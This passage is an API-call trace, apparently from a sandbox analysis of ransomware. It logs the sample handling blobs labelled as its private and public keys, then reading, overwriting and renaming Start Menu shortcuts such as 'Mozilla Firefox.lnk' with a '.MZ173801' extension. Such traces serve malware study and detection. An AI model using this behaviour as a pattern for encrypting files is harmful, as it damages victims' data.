lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24a003c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0209.957] GetCurrentThreadId () returned 0xab4 [0209.957] GetCurrentThreadId () returned 0xab4 [0209.957] GetCurrentThreadId () returned 0xab4 [0209.958] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0209.958] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24b109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0209.959] GetCurrentThreadId () returned 0xab4 [0209.959] GetCurrentThreadId () returned 0xab4 [0209.959] GetCurrentThreadId () returned 0xab4 [0209.959] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Mozilla Firefox.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\mozilla firefox.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0209.959] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0209.959] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0209.959] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x3f3 [0209.959] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0209.959] ReadFile (in: hFile=0x328, lpBuffer=0x24b8ea0, nNumberOfBytesToRead=0x3f3, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24b8ea0*, lpNumberOfBytesRead=0x19f74c*=0x3f3, lpOverlapped=0x0) returned 1 [0209.961] CloseHandle (hObject=0x328) returned 1 [0209.961] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Mozilla Firefox.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\mozilla firefox.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0210.018] WriteFile (in: hFile=0x328, lpBuffer=0x24baed0*, nNumberOfBytesToWrite=0x3f3, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24baed0*, lpNumberOfBytesWritten=0x19f758*=0x3f3, lpOverlapped=0x0) returned 1 [0210.019] CloseHandle (hObject=0x328) returned 1 [0210.127] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Mozilla Firefox.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\mozilla firefox.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Mozilla Firefox.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\mozilla firefox.lnk.mz173801")) returned 1 [0210.224] GetCurrentThreadId () returned 0xab4 [0210.224] GetCurrentThreadId () returned 0xab4 [0210.224] GetCurrentThreadId () returned 0xab4 [0210.224] GetCurrentThreadId () returned 0xab4 [0210.224] GetCurrentThreadId () returned 0xab4 [0210.224] GetCurrentThreadId () returned 0xab4 [0210.224] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4d4712f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4d4712f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4d4712f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9c2, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="OneDrive for Business.lnk", cAlternateFileName="ONEDRI~1.LNK")) returned 1 [0210.224] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0210.224] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0210.224] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\OneDrive for Business.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\onedrive for business.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4d4712f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4d4712f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4d4712f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9c2)) returned 1 [0210.231] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\OneDrive for Business.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\onedrive for business.lnk")) returned 0x20 [0210.231] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\OneDrive for Business.lnk", dwFileAttributes=0x80) returned 1 [0210.285] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0210.285] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24a003c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 